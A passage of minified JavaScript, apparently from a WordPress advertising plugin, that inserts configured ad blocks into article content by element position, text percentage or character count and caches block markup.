currentContainer.parentNode.insertBefore(currentBlock, currentContainer.nextSibling); } break; } } } } } } return false; } function createStyleElement(blockNumber, localElementCss) { let htmlToAdd = ''; let marginString; let textAlignString; let contPoi; let emptyValues = false; let elementToAddStyleLocal = document.querySelector('#blocksAlignStyle'); if (!elementToAddStyleLocal) { contPoi = document.querySelector('#content_pointer_id'); if (!contPoi) { return false; } elementToAddStyleLocal = document.createElement('style'); elementToAddStyleLocal.setAttribute('id', 'blocksAlignStyle'); contPoi.parentNode.insertBefore(elementToAddStyleLocal, contPoi); } switch (localElementCss) { case 'left': emptyValues = false; marginString = '0 auto 0 0'; textAlignString = 'left'; break; case 'right': emptyValues = false; marginString = '0 0 0 auto'; textAlignString = 'right'; break; case 'center': emptyValues = false; marginString = '0 auto'; textAlignString = 'center'; break; case 'default': emptyValues = true; marginString = 'default'; textAlignString = 'default'; /** here will be css */ break; } if (!emptyValues) { htmlToAdd = '.percentPointerClass > *[data-id="'+blockNumber+'"] {\n' + ' margin: '+marginString+';\n' + '}\n'; } elementToAddStyleLocal.innerHTML += htmlToAdd; return textAlignString; } function initTargetToInsert(position, type, currentElement) { let posCurrentElement; let usedElement; if (type == 'element') { if (position == 0) { posCurrentElement = currentElement; if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) { currentElement.classList.add('rfwp_removedMarginTop'); } } else { posCurrentElement = currentElement.nextSibling; if (!(typeof obligatoryMargin!=='undefined'&&obligatoryMargin===1)) { currentElement.classList.add('rfwp_removedMarginBottom'); } } currentElement.style.clear = 'both'; } else { usedElement = currentElement; if (position == 0) { posCurrentElement = usedElement; } else { posCurrentElement = usedElement.nextSibling; } } return posCurrentElement; } function checkAdsWidth(content_pointer, posCurrentElement, currentElement) { let widthChecker = document.querySelector('#widthChecker'); let widthCheckerStyle = null; let content_pointerStyle = getComputedStyle(content_pointer); /* let getPositionForTempElement = null; let testImgDetected = false; let testImg; let testImageCompWidth; let testImgCou = 0 let figureChilds; let figureComWidth; let fcCou = 0; */ let content = content_pointer.parentElement; if (!widthChecker) { widthChecker = document.createElement("div"); widthChecker.setAttribute('id','widthChecker'); widthChecker.style.display = 'flex'; } if (content) { posCurrentElement = initTargetToInsert(posCurrentElement, 'term', currentElement); currentElement.parentNode.insertBefore(widthChecker, posCurrentElement); widthCheckerStyle = getComputedStyle(widthChecker); /* testImg = currentElement.previousSibling; if (testImg) { while (!testImgDetected&&testImgCou<4) { if (testImg&&testImg.nodeName.toLowerCase() === 'figure') { figureComWidth = getComputedStyle(testImg); figureComWidth = parseInt(figureComWidth.width); figureChilds = testImg.childNodes; if (figureChilds&&figureChilds.length > 0) { while (!testImgDetected&&figureChilds[fcCou]) { if (figureChilds[fcCou] instanceof HTMLImageElement) { testImgDetected = true; testImageCompWidth = getComputedStyle(figureChilds[fcCou]); testImageCompWidth = parseInt(testImageCompWidth.width); console.log('img_f_w:'+figureComWidth+'; img_w:'+testImageCompWidth+';'); } fcCou++; } } } if (testImg instanceof HTMLImageElement) { testImgDetected = true; testImageCompWidth = getComputedStyle(testImg); testImageCompWidth = parseInt(testImageCompWidth.width); console.log('img_w:'+testImageCompWidth+';'); } if (!testImg.previousSibling) { break; } testImg = testImg.previousSibling; testImgCou++; } } console.log('cp_w:'+parseInt(content_pointerStyle.width)+'; wc_w:'+parseInt(widthCheckerStyle.width)+';'); */ if (parseInt(widthCheckerStyle.width) >= (parseInt(content_pointerStyle.width) - 50)) { return true; } } currentElement.parentNode.insertBefore(rb_tempElement, currentElement.nextSibling); rb_tempElement_check = true; return false; } /* function currentElementReceiver(revert, curSum, elList, currentElement) { let origCurrentElement = currentElement; let content_pointer = document.querySelector("#content_pointer_id"); let sameElementAfterWidth = false; let testCou = 0; while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) { currentElement = elList[curSum]; try { sameElementAfterWidth=true; sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement); } catch (ex) { console.log(ex.message); } revert? curSum--: curSum++; testCou++; } return currentElement?currentElement:origCurrentElement; } */ function currentElementReceiverSpec(revert, curSum, elList, currentElement) { let origCurrentElement = currentElement; let content_pointer = document.querySelector("#content_pointer_id"); /* orig */ let sameElementAfterWidth = false; let testCou = 0; while (elList[curSum]&&sameElementAfterWidth==false&&testCou < 5) { currentElement = elList[curSum]['element']; try { sameElementAfterWidth=true; sameElementAfterWidth = checkAdsWidth(content_pointer, 0, currentElement); } catch (ex) { console.log(ex.message); } revert? curSum--: curSum++; testCou++; } return currentElement?currentElement:origCurrentElement; } function excIdClUnpacker() { let excArr = [], cou = 0, currExcStr = '', curExcFirst = ''; excArr['id'] = []; excArr['class'] = []; excArr['tag'] = []; if (excIdClass&&excIdClass.length > 0) { while (excIdClass[cou]) { currExcStr = excIdClass[cou]; if (currExcStr.length > 0) { curExcFirst = currExcStr.substring(0,1); switch (curExcFirst) { case '#': if (currExcStr.length > 1) { currExcStr = currExcStr.substring(1); excArr['id'].push(currExcStr); } break; case '.': if (currExcStr.length > 1) { currExcStr = currExcStr.substring(1); excArr['class'].push(currExcStr); } break; default: excArr['tag'].push(currExcStr); break; } cou++; } } } return excArr; } function asyncBlocksInsertingFunction(blockSettingArray) { try { var content_pointer = document.querySelector("#content_pointer_id"); /* orig */ var parent_with_content = content_pointer.parentElement; var lordOfElements = parent_with_content; parent_with_content = parent_with_content.parentElement; var newElement = document.createElement("div"); var elementToAdd; var elementToAddStyle; var poolbackI = 0; var counter = 0; var currentElement; var repeatableCurrentElement; var repeatableSuccess; var reCou; var curFirstPlace; var curElementCount; var curElementStep; var backElement = 0; var sumResult = 0; var curSumResult = 0; var repeat = false; var currentElementChecker = false; let containerFor6th = []; let containerFor7th = []; var posCurrentElement; var block_number; let contentLength = content_pointer.getAttribute('data-content-length'); let rejectedBlocks = content_pointer.getAttribute('data-rejected-blocks'); if (rejectedBlocks&&rejectedBlocks.length > 0) { rejectedBlocks = rejectedBlocks.split(','); } let widthCheck = false; let currentElementList; var testElement1 = null; var termorarity_parent_with_content = parent_with_content; var termorarity_parent_with_content_length = 0; var headersList = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6']; for (var hc1 = 0; hc1 < headersList.length; hc1++) { termorarity_parent_with_content_length += termorarity_parent_with_content.getElementsByTagName(headersList[hc1]).length; } let detailedElementList; let ExcStrCou = 1; let detailedQueryString; let usedElement; let tagList = []; let localSumResult; let binderName; var removeClearing; var repeatableBlockIdentifier = 0; var i; if (contentLength < 1) { contentLength = parent_with_content.innerText.length } rb_tempElement = document.querySelector('#rb_tempElement'); if (!rb_tempElement) { rb_tempElement = document.createElement('span'); rb_tempElement.setAttribute('id', 'rb_tempElement'); } function getFromConstructions(currentElement) { if (currentElement.parentElement.tagName.toLowerCase() == "blockquote") { currentElement = currentElement.parentElement; /* initTargetToInsert(blockSettingArray, 'element', currentElement); */ currentElement.parentNode.insertBefore(rb_tempElement, currentElement); rb_tempElement_check = true; sameElementAfterFromConstruction=false; } else if (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) { currentElement = currentElement.parentElement; while (["tr","td","th","thead","tbody","table"].includes(currentElement.parentElement.tagName.toLowerCase())) { currentElement = currentElement.parentElement; } currentElement.parentNode.insertBefore(rb_tempElement, currentElement); rb_tempElement_check = true; sameElementAfterFromConstruction=false; } return currentElement; } function directClassElementDetecting(blockSettingArray, directElement) { let findQuery = 0; let directClassElementResult = []; currentElement = document.querySelectorAll(directElement); if (currentElement.length > 0) { if (blockSettingArray[i]['elementPlace'] > 1) { if (currentElement.length >= blockSettingArray[i]['elementPlace']) { currentElement = currentElement[blockSettingArray[i]['elementPlace']-1]; } else if (currentElement.length < blockSettingArray[i]['elementPlace']) { currentElement = currentElement[currentElement.length - 1]; } else { findQuery = 1; } } else if (blockSettingArray[i]['elementPlace'] < 0) { if ((currentElement.length + blockSettingArray[i]['elementPlace'] + 1) > 0) { currentElement = currentElement[currentElement.length + blockSettingArray[i]['elementPlace']]; } else { findQuery = 1; } } else { findQuery = 1; } } else { findQuery = 1; } directClassElementResult['findQuery'] = findQuery; directClassElementResult['currentElement'] = currentElement; return directClassElementResult; } function placingToH1(usedElement, elementTagToFind) { let uselessLet; currentElement = usedElement.querySelectorAll(elementTagToFind); if (currentElement.length < 1) { if (usedElement.parentElement) { uselessLet = placingToH1(usedElement.parentElement, elementTagToFind); } } return currentElement; } function elementsCleaning(excArr, elList, pwcLocal, gatherString) { let markedClass = 'rb_m_inc'; let markedClassBad = 'rb_m_exc'; let cou = 0; let cou1 = 0; let finalArr = []; let finalArrClear = []; let checkNearest; let outOfRangeCheck; let gatherRejected; let allower; try { while (elList[cou]) { allower = true; if (!elList[cou].classList.contains(markedClassBad)) { if (excArr&&excArr.length > 0) { cou1 = 0; while (excArr[cou1]) { checkNearest = elList[cou].parentElement.closest(excArr[cou1]); if (checkNearest) { checkNearest.classList.add('currClosest'); outOfRangeCheck = pwcLocal.querySelector('.currClosest'); if (outOfRangeCheck) { allower = false; checkNearest.classList.add(markedClass); gatherRejected = checkNearest.querySelectorAll(gatherString); if (gatherRejected.length > 0) { for (let i1 = 0; i1 < gatherRejected.length; i1++) { gatherRejected[i1].classList.add(markedClassBad); } } } checkNearest.classList.remove('currClosest'); } cou1++; } } if (allower===true) { elList[cou].classList.add(markedClass); /* finalArr.push(elList[cou]); */ } } cou++; } finalArr = pwcLocal.querySelectorAll('.'+markedClass+':not('+markedClassBad+')'); finalArrClear = pwcLocal.querySelectorAll('.'+markedClass+',.'+markedClassBad); if (finalArrClear&&finalArrClear.length > 0) { for (let i1 = 0; i1 < finalArrClear.length; i1++) { finalArrClear[i1].classList.remove(markedClass,markedClassBad); } } } catch (er) { console.log(er.message); } return finalArr; } function cureentElementsGather(usedElement, loopLimit = 2, localPwc = parent_with_content) { let curElementSearchRepeater = true; let curElementSearchCounter = 0; let currentElementLoc = null; let ExcludedStringBegin = ''; let ExcludedString = ''; let ExcludedStringEnd = ''; let tagListString = ''; let tagListStringExc = ''; let cou = 0; /* let excArr = excIdClUnpacker(); */ let tagListCou = 0; if (usedElement=='h1') { currentElementLoc = placingToH1(localPwc, usedElement); } else { if (usedElement=='h2-4') {tagList = ['h2','h3','h3'];} else {tagList = [usedElement]; } while (tagList[tagListCou]) { tagListString += ((cou++>0)?',':'')+tagList[tagListCou]; tagListStringExc += ':not('+tagList[tagListCou]+')'; tagListCou++; } ExcludedString = ''; if (excIdClass&&excIdClass.length > 0) { for (let i2 = 0; i2 < excIdClass.length; i2++) { if (excIdClass[i2].length > 0) { ExcludedString += (i2>0?',':'')+excIdClass[i2]+tagListStringExc; } } } detailedQueryString += tagListString+','+ExcludedString; /* console.log(detailedQueryString); */ while (curElementSearchRepeater&&curElementSearchCounter < loopLimit) { try { currentElementLoc = localPwc.querySelectorAll(tagListString); } catch (e1) {console.log(e1.message);} if (!currentElementLoc) { if (localPwc.parentElement) { localPwc = localPwc.parentElement; } else { break; } } else { currentElementLoc = elementsCleaning(excIdClass, currentElementLoc, localPwc, detailedQueryString); curElementSearchRepeater = false; } curElementSearchCounter++; } } return currentElementLoc; } function currentElementReceiver(revert, localCurEl = currentElement) { let origCurEl = localCurEl; curSumResult = sumResult; detailedElementList = localCurEl; sameElementAfterWidth = false; let testCou = 0; while (detailedElementList[curSumResult]&&sameElementAfterWidth==false&&testCou < 8) { localCurEl = detailedElementList[curSumResult]; try { sameElementAfterWidth=true; sameElementAfterWidth = checkAdsWidth(content_pointer, blockSettingArray[i]["elementPosition"], localCurEl); } catch (ex) { console.log(ex.message); } revert? curSumResult--: curSumResult++; testCou++; } if (localCurEl) { currentElementChecker = true; } return localCurEl?localCurEl:origCurEl; } function endingActions(block_number) { usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } for (i = 0; i < blockSettingArray.length; i++) { currentElement = null; currentElementChecker = false; sameElementAfterWidth = false; sameElementAfterExcClassId = false; sameElementAfterFromConstruction = false; tagListCou = 0; poolbackI = 0; detailedQueryString = ''; binderName = elementBinderNameGenerator(); try { if (!blockSettingArray[i]["text"] ||(blockSettingArray[i]["text"]&&blockSettingArray[i]["text"].length < 1) ||(rejectedBlocks&&rejectedBlocks.includes(blockSettingArray[i]["id"])) ||((blockSettingArray[i]["maxHeaders"] > 0)&&(blockSettingArray[i]["maxHeaders"] < parseInt(termorarity_parent_with_content_length))) ||((blockSettingArray[i]["maxSymbols"] > 0)&&(blockSettingArray[i]["maxSymbols"] < parseInt(contentLength))) ||(content_pointer.classList.contains("hard-content")&&blockSettingArray[i]["setting_type"]!=3) ) { blockSettingArray.splice(i--, 1); poolbackI = 1; continue; } block_number = 0; elementToAdd = document.createElement("div"); elementToAdd.classList.add("percentPointerClass"); elementToAdd.classList.add("marked"); if (blockSettingArray[i]["sc"]==1) { elementToAdd.classList.add("scMark"); } elementToAdd.innerHTML = blockSettingArray[i]["text"]; elementToAdd.dataset.rbinder = binderName; block_number = elementToAdd.children[0].attributes['data-id'].value; if (blockDuplicate == 'no') { if (usedBlockSettingArrayIds.length > 0) { for (let i1 = 0; i1 < usedBlockSettingArrayIds.length; i1++) { if (block_number==usedBlockSettingArrayIds[i1]) { blockSettingArray.splice(i--, 1); poolbackI = 1; break; } } if (poolbackI == 1) { continue; } } } elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]); if (elementToAddStyle&&elementToAddStyle!='default') { elementToAdd.style.textAlign = elementToAddStyle; } if ((blockSettingArray[i]["minHeaders"] > 0)&&(blockSettingArray[i]["minHeaders"] > termorarity_parent_with_content_length)) {continue;} if (blockSettingArray[i]["minSymbols"] > contentLength) {continue;} if (blockSettingArray[i]["setting_type"] == 1) { currentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase()); if (currentElement) { if (blockSettingArray[i]["elementPlace"] < 0) { sumResult = currentElement.length + blockSettingArray[i]["elementPlace"]; if (sumResult >= 0 && sumResult < currentElement.length) { currentElement = currentElementReceiver(true); } } else { sumResult = blockSettingArray[i]["elementPlace"] - 1; if (sumResult < currentElement.length) { currentElement = currentElementReceiver(false); } } } if (currentElement != undefined && currentElement != null && currentElementChecker) { posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement); currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement); currentElement.classList.add('rbinder-'+binderName); elementToAdd.classList.remove('coveredAd'); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; rb_tempElement_check = false; } else { repeat = true; } } else if (blockSettingArray[i]["setting_type"] == 2) { if (blockDuplicate == 'no') { blockSettingArray[i]["elementCount"] = 1; } repeatableCurrentElement = []; reCou = 0; curFirstPlace = blockSettingArray[i]["firstPlace"]; curElementCount = blockSettingArray[i]["elementCount"]; curElementStep = blockSettingArray[i]["elementStep"]; repeatableSuccess = false; elementToAddStyle = createStyleElement(block_number, blockSettingArray[i]["elementCss"]); repeatableCurrentElement = cureentElementsGather(blockSettingArray[i]["element"].toLowerCase()); if (repeatableCurrentElement) { for (let i1 = 0; i1 < blockSettingArray[i]["elementCount"]; i1++) { currentElementChecker = false; let repElementToAdd = document.createElement("div"); repElementToAdd.classList.add("percentPointerClass"); repElementToAdd.classList.add("marked"); if (blockSettingArray[i]["sc"]==1) { repElementToAdd.classList.add("scMark"); } repElementToAdd.classList.add("repeatable-mark-"+repeatableBlockIdentifier); repElementToAdd.innerHTML = blockSettingArray[i]["text"]; if (elementToAddStyle&&elementToAddStyle!='default') { repElementToAdd.style.textAlign = elementToAddStyle; } sumResult = Math.round(parseInt(blockSettingArray[i]["firstPlace"]) + (i1*parseInt(blockSettingArray[i]["elementStep"])) - 1); if (sumResult < repeatableCurrentElement.length) { currentElement = currentElementReceiver(false, repeatableCurrentElement); } if (currentElement != undefined && currentElement != null && currentElementChecker) { posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement); currentElement.parentNode.insertBefore(repElementToAdd, posCurrentElement); currentElement.classList.add('rbinder-'+binderName); repElementToAdd.classList.remove('coveredAd'); curFirstPlace = sumResult + parseInt(blockSettingArray[i]["elementStep"]) + 1; curElementCount--; repeatableSuccess = true; } else { repeatableSuccess = false; break; } } } if (repeatableSuccess==true) { usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; repeatableBlockIdentifier++; } else { if (!blockSettingArray[i]["unsuccess"]) { blockSettingArray[i]["unsuccess"] = 1; } else { blockSettingArray[i]["unsuccess"] = Math.round(blockSettingArray[i]["unsuccess"] + 1); } if (blockSettingArray[i]["unsuccess"] > 10) { usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } else { blockSettingArray[i]["firstPlace"] = curFirstPlace; blockSettingArray[i]["elementCount"] = curElementCount; blockSettingArray[i]["elementStep"] = curElementStep; repeat = true; } } } else if (blockSettingArray[i]["setting_type"] == 3) { let elementTypeSymbol = ''; let elementSpaceSymbol = ''; let elementName = ''; let elementType = ''; let elementTag = ''; let findQuery = 0; let directClassResult = []; let directElement = blockSettingArray[i]["directElement"].trim(); if (directElement.search('#') > -1) { findQuery = 1; } else if ((directElement.search('#') < 0)&&(directElement.search('.') > -1)) { directClassResult = directClassElementDetecting(blockSettingArray, directElement); findQuery = directClassResult['findQuery']; currentElement = directClassResult['currentElement']; } if (findQuery == 1) { currentElement = document.querySelector(directElement); } if (currentElement) { currentElementChecker = true; } if (currentElement != undefined && currentElement != null && currentElementChecker) { posCurrentElement = initTargetToInsert(blockSettingArray[i]["elementPosition"], 'element', currentElement); currentElement.parentNode.insertBefore(elementToAdd, posCurrentElement); elementToAdd.classList.remove('coveredAd'); currentElement.classList.add('rbinder-'+binderName); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } else { repeat = true; } } else if (blockSettingArray[i]["setting_type"] == 4) { document.querySelector("#content_pointer_id").parentElement.append(elementToAdd); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } else if (blockSettingArray[i]["setting_type"] == 5) { let currentElementList = cureentElementsGather('p', 1, content_pointer.parentElement); if (currentElementList&¤tElementList.length > 0) { let pCount = currentElementList.length; let elementNumber = Math.round(pCount/2); if (pCount > 1) { currentElement = currentElementList[elementNumber+1]; } if (currentElement != undefined && currentElement != null) { if (pCount > 1) { currentElement.parentNode.insertBefore(elementToAdd, currentElement); } else { currentElement.parentNode.insertBefore(elementToAdd, currentElement.nextSibling); } elementToAdd.classList.remove('coveredAd'); currentElement.classList.add('rbinder-'+binderName); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } else { repeat = true; } } else { repeat = true; } } else if (blockSettingArray[i]["setting_type"] == 6) { if (containerFor6th.length > 0) { for (let j = 0; j < containerFor6th.length; j++) { if (containerFor6th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) { /* continue; */ if (j == containerFor6th.length-1) { containerFor6th.push(blockSettingArray[i]); /* usedAdBlocksArray.push(checkIfBlockUsed); */ usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; break; } } else { for (let k = containerFor6th.length-1; k > j-1; k--) { containerFor6th[k + 1] = containerFor6th[k]; } containerFor6th[j] = blockSettingArray[i]; /* usedAdBlocksArray.push(checkIfBlockUsed); */ usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; break; } } } else { containerFor6th.push(blockSettingArray[i]); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } /* vidpravutu v vidstiinuk dlya 6ho tipa */ } else if (blockSettingArray[i]["setting_type"] == 7) { if (containerFor7th.length > 0) { for (let j = 0; j < containerFor7th.length; j++) { if (containerFor7th[j]["elementPlace"]<blockSettingArray[i]["elementPlace"]) { /* continue; */ if (j == containerFor7th.length-1) { containerFor7th.push(blockSettingArray[i]); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; break; } } else { for (let k = containerFor7th.length-1; k > j-1; k--) { containerFor7th[k + 1] = containerFor7th[k]; } containerFor7th[j] = blockSettingArray[i]; usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; break; } } } else { containerFor7th.push(blockSettingArray[i]); usedBlockSettingArrayIds.push(block_number); blockSettingArray.splice(i--, 1); poolbackI = 1; } /* vidpravutu v vidstiinuk dlya 7ho tipa */ } } catch (e) { console.log(e.message); } } var array = textLengthGatherer(lordOfElements), tlArray = array.array, length = array.length; if (containerFor6th.length > 0) { percentInserter(lordOfElements, containerFor6th, tlArray, length); } if (containerFor7th.length > 0) { symbolInserter(lordOfElements, containerFor7th, tlArray); } shortcodesInsert(); let stopper = 0; window.addEventListener('load', function () { if (repeat = true) { setTimeout(function () { /* asyncBlocksInsertingFunction(blockSettingArray, contentLength) */ asyncBlocksInsertingFunction(blockSettingArray); }, 100); } }); } catch (e) { console.log(e.message); } } function possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck) { if (possibleTagsArray.includes("LI")) { if (possibleTagsArray.includes("UL")) { possibleTagsInCheck.push("UL"); } if (possibleTagsArray.includes("OL")) { possibleTagsInCheck.push("OL"); } } return false; } function textLengthGatherer(lordOfElementsLoc) { var possibleTagsArray; if (typeof tagsListForTextLength!=="undefined") { possibleTagsArray = tagsListForTextLength; } else { possibleTagsArray = ["P", "H1", "H2", "H3", "H4", "H5", "H6", "DIV", "BLOCKQUOTE", "INDEX", "ARTICLE", "SECTION"]; } let possibleTagsInCheck = ["DIV", "INDEX", "SECTION"]; possibleTagsInCheckConfirmer(possibleTagsArray, possibleTagsInCheck); let excArr = excIdClUnpacker(), textLength = 0, tlArray = []; function textLengthGathererRec(lordOfElementsLoc) { let allowed; let cou1; let classesArray; let countSuccess = 0; try { for (let i = 0; i < lordOfElementsLoc.children.length; i++) { if (possibleTagsArray.includes(lordOfElementsLoc.children[i].tagName) &&!lordOfElementsLoc.children[i].classList.contains("percentPointerClass") &&lordOfElementsLoc.children[i].id!="toc_container" ) { if (possibleTagsInCheck.includes(lordOfElementsLoc.children[i].tagName) &&(lordOfElementsLoc.children[i].children.length > 0) ) { allowed = true; if (lordOfElementsLoc.children[i].id&&excArr['id'].length > 0) { cou1 = 0; while (excArr['id'][cou1]) { if (lordOfElementsLoc.children[i].id.toLowerCase()==excArr['id'][cou1].toLowerCase()) { allowed = false; break; } cou1++; } } if (lordOfElementsLoc.children[i].classList.length > 0&&excArr['class'].length > 0) { cou1 = 0; while (excArr['class'][cou1]) { classesArray = excArr['class'][cou1].split('.'); if (classesArray.every(className => lordOfElementsLoc.children[i].classList.contains(className))) { allowed = false; break; } cou1++; } } if (excArr['tag'].length > 0) { cou1 = 0; while (excArr['tag'][cou1]) { if (lordOfElementsLoc.children[i].tagName.toLowerCase()==excArr['tag'][cou1].toLowerCase()) { allowed = false; break; } cou1++; } } if (allowed) { if (textLengthGathererRec(lordOfElementsLoc.children[i], excArr, possibleTagsArray, possibleTagsInCheck)) { countSuccess++; continue; } } } textLength = textLength + lordOfElementsLoc.children[i].innerText.length; tlArray.push({ tag: lordOfElementsLoc.children[i].tagName, length: lordOfElementsLoc.children[i].innerText.length, lengthSum: textLength, element: lordOfElementsLoc.children[i] }); countSuccess++; } } } catch (er) { console.log(er.message); } return countSuccess > 0; } textLengthGathererRec(lordOfElementsLoc); return {array: tlArray, length: textLength}; } window.asyncFunctionLauncher = function() { if (window.jsInputerLaunch !== undefined &&[15, 10].includes(window.jsInputerLaunch) &&(typeof asyncBlocksInsertingFunction !== 'undefined' ) &&(typeof asyncBlocksInsertingFunction === 'function') &&typeof endedSc!=='undefined'&& typeof endedCc!=='undefined'&& typeof usedAdBlocksArray!=='undefined'&& typeof usedBlockSettingArrayIds!=='undefined'&& typeof sameElementAfterWidth!=='undefined'&& typeof sameElementAfterExcClassId!=='undefined'&& typeof sameElementAfterFromConstruction!=='undefined'&& typeof rb_tempElement_check!=='undefined'&& typeof rb_tempElement!=='undefined'&& typeof window.jsInputerLaunch!=='undefined') { /* asyncBlocksInsertingFunction(blockSettingArray, contentLength); */ asyncBlocksInsertingFunction(blockSettingArray); if (!endedSc) { shortcodesInsert(); } if (!endedCc) { /* clearUnsuitableCache(0); */ } /* blocksReposition(); cachePlacing(); symbolMarkersPlaced(); */ } else { setTimeout(function () { asyncFunctionLauncher(); }, 50); } }; /* asyncFunctionLauncher(); */ function asyncInsertingsInsertingFunction(insertingsArray) { let currentElementForInserting = 0; let currentElementToMove = 0; let positionElement = 0; let position = 0; let insertToAdd = 0; let postId = 0; let repeatSearch = 0; if (insertingsArray&&insertingsArray.length > 0) { for (let i = 0; i < insertingsArray.length; i++) { if (!insertingsArray[i]['used']||(insertingsArray[i]['used']&&insertingsArray[i]['used']==0)) { positionElement = insertingsArray[i]['position_element']; position = insertingsArray[i]['position']; insertToAdd = insertingsArray[i]['content']; postId = insertingsArray[i]['postId']; currentElementForInserting = document.querySelector(positionElement); currentElementToMove = document.querySelector('.coveredInsertings[data-id="'+postId+'"]'); if (currentElementForInserting) { if (position==0) { currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting); currentElementToMove.classList.remove('coveredInsertings'); insertingsArray[i]['used'] = 1; } else { currentElementForInserting.parentNode.insertBefore(currentElementToMove, currentElementForInserting.nextSibling); currentElementToMove.classList.remove('coveredInsertings'); insertingsArray[i]['used'] = 1; } } else { repeatSearch = 1; } } } } if (repeatSearch == 1) { setTimeout(function () { asyncInsertingsInsertingFunction(insertingsArray); }, 100) } } function insertingsFunctionLaunch() { if (window.jsInsertingsLaunch !== undefined&&jsInsertingsLaunch == 25) { asyncInsertingsInsertingFunction(insertingsArray); } else { setTimeout(function () { insertingsFunctionLaunch(); }, 100) } } function setLongCache() { let xhttp = new XMLHttpRequest(); let sendData = 'action=setLongCache&type=longCatching'; xhttp.onreadystatechange = function(redata) { if (this.readyState == 4 && this.status == 200) { console.log('long cache deployed'); } }; xhttp.open("POST", rb_ajaxurl, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.send(sendData); } function cachePlacing(alert_type, errorInfo=null) { let adBlocks = document.querySelectorAll('.percentPointerClass .' + block_classes.join(', .percentPointerClass .')); let curAdBlock; let okStates = ['done','refresh-wait','no-block','fetched']; /* let adId = -1; */ let blockAid = null; let blockId; if (typeof cachedBlocksArray !== 'undefined'&&cachedBlocksArray&&cachedBlocksArray.length > 0&&adBlocks&&adBlocks.length > 0) { for (let i = 0; i < adBlocks.length; i++) { blockAid = adBlocks[i]['dataset']['aid']; if (!blockAid) { blockId = adBlocks[i]['dataset']['id']; if (cachedBlocksArray[blockId]) { jQuery(adBlocks[i]).html(cachedBlocksArray[blockId]); } } } } if (alert_type&&alert_type=='high') { setLongCache(); } } function symbolInserter(lordOfElements, containerFor7th, tlArray) { try { var currentChildrenLength = 0; let previousBreak = 0; let needleLength; let currentSumLength; let elementToAdd; let elementToBind; let elementToAddStyle; let block_number; let binderName; if (!document.getElementById("markedSpan1")) { for (let i = 0; i < containerFor7th.length; i++) { previousBreak = 0; currentChildrenLength = 0; currentSumLength = 0; needleLength = Math.abs(containerFor7th[i]['elementPlace']); binderName = elementBinderNameGenerator(); elementToAdd = document.createElement("div"); elementToAdd.classList.add("percentPointerClass"); elementToAdd.classList.add("marked"); if (containerFor7th[i]["sc"]==1) { elementToAdd.classList.add("scMark"); } elementToAdd.dataset.rbinder = binderName; elementToAdd.innerHTML = containerFor7th[i]["text"]; block_number = elementToAdd.children[0].attributes['data-id'].value; if (!elementToAdd) { continue; } elementToAddStyle = createStyleElement(block_number, containerFor7th[i]["elementCss"]); if (elementToAddStyle&&elementToAddStyle!='default') { elementToAdd.style.textAlign = elementToAddStyle; } if (containerFor7th[i]['elementPlace'] < 0) { for (let j = tlArray.length-1; j > -1; j--) { currentSumLength = currentSumLength + tlArray[j]['length']; if (needleLength < currentSumLength) { elementToBind = tlArray[j]['element']; elementToBind = currentElementReceiverSpec(true, j, tlArray, elementToBind); elementToBind.parentNode.insertBefore(elementToAdd, elementToBind); elementToBind.classList.add('rbinder-'+binderName); elementToAdd.classList.remove('coveredAd'); break; } } } else if (containerFor7th[i]['elementPlace'] == 0) { elementToBind = tlArray[0]['element']; elementToBind.parentNode.insertBefore(elementToAdd, elementToBind); elementToBind.classList.add('rbinder-'+binderName); elementToAdd.classList.remove('coveredAd'); } else { for (let j = 0; j < tlArray.length; j++) { currentSumLength = currentSumLength + tlArray[j]['length']; if (needleLength < currentSumLength) { elementToBind = tlArray[j]['element']; elementToBind = currentElementReceiverSpec(false, j, tlArray, elementToBind); elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling); elementToBind.classList.add('rbinder-'+binderName); elementToAdd.classList.remove('coveredAd'); break; } } } } var spanMarker = document.createElement("span"); spanMarker.setAttribute("id", "markedSpan1"); lordOfElements.prepend(spanMarker); } } catch (e) { console.log(e); } } function percentInserter(lordOfElements, containerFor6th, tlArray, textLength) { try { var textNeedyLength = 0; let elementToAdd; var elementToBind; let elementToAddStyle; let block_number; var binderName; /* var checkIfBlockUsed = 0; */ function insertByPercents(textLength) { let localMiddleValue = 0; for (let j = 0; j < containerFor6th.length; j++) { textNeedyLength = Math.round(textLength * (containerFor6th[j]["elementPlace"]/100)); for (let i = 0; i < tlArray.length; i++) { if (tlArray[i]['lengthSum'] >= textNeedyLength) { binderName = elementBinderNameGenerator(); elementToAdd = document.createElement("div"); elementToAdd.classList.add("percentPointerClass"); elementToAdd.classList.add("marked"); if (containerFor6th[j]["sc"]==1) { 